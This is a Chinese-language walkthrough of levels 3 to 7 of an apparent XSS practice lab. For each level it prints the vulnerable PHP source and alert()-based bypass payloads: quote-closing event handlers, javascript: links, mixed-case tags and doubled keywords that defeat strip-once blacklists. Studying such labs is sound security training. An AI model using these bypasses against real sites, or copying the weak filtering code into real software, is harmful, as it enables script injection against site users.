level 3
尝试:
<script>alert('xss')</script>
猜测输入框的长度受到限制;
右键查看源代码
<h2 align=center>没有找到和<script>alert('xss')</script>相关的结果.</h2><center> <form action=level3.php method=GET> <input name=keyword value='<script>alert('xss')</script>'> <input type=submit name=submit value=搜索 /> </form>
发现都被转换成了HTML实体;
then
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 /> </form> </center>"; ?>
这次,两次的str,即输入的语句全部都被转义,但是单引号没有被转义;
所以,构建包含单引号的弹窗语句
onclick=alert()
<input name=keyword value='onclick=alert()'>
这次把单引号闭合;
'onclick=alert(1) // 点击输入框触发
#标准格式:onclick='alert(/xss/)',点击输入框触发
成功;
也可以
'onmouseover=alert(1)//
#标准格式:onmouseover='alert(/xss/)'
onmouseover
onmouseover 事件会在鼠标指针移动到指定的对象上时发生
onmouseover="SomeJavaScriptCode"
level4
<script>alert('xss')</script>
<h2 align=center>没有找到和<script>alert('xss')</script>相关的结果.</h2><center> <form action=level4.php method=GET> <input name=keyword value="scriptalert('xss')/script">
这次发现尖括号被过滤掉了。
那么我们用不带尖括号的;
" onmouseover=alert(1)//
成功;
后台源码:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
这次把< 和 > 替换成了空格;
level5
<script>alert('xss')</script>
<input name=keyword value="<scr_ipt>alert('xss')</script>">
语句中被添加了一个下划线;
经过尝试发现,会在字符串中的<script>和on关键字添加_
后台源码:
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
那么我们采用不含这些关键字的弹窗语句就行了;
"> <a href="javascript:alert(1)">xss</a>//
成功;
level6
<script>alert('xss')</script>
<input name=keyword value="<scr_ipt>alert('xss')</script>">
" onmouseover=alert(1)//
<input name=keyword value="" o_nmouseover=alert(1)//">
<input name=keyword value=""> <a hr_ef="javascript:alert(1)">xss</a>//">
这次发现,
href也被添加为黑名单了
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level6.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
看了后台源码后,发现,没有对大小写进行转换;
所以,采用大小写绕过黑名单;
<sCriPt>alert("xss")</SCRipt>
<input name=keyword value="<sCriPt>alert("xss")</SCRipt>">
"><sCriPt>alert("xss")</SCRipt>//
成功;
level7
<input name=keyword value=""><>alert("xss")</>//">
这次居然把转换大写的script全吃了;
on也被吃了;
查看源码:
<?php ini_set("display_errors", 0); $str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level7.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
首先,把字符串转换成了小写;
然后对script,src,href,data进行了过滤;
所以重写关键字,
"><sCriPscriptt>alert("xss")</SCRscriptipt>//
成功;
" oonnmouseover=alert(1)//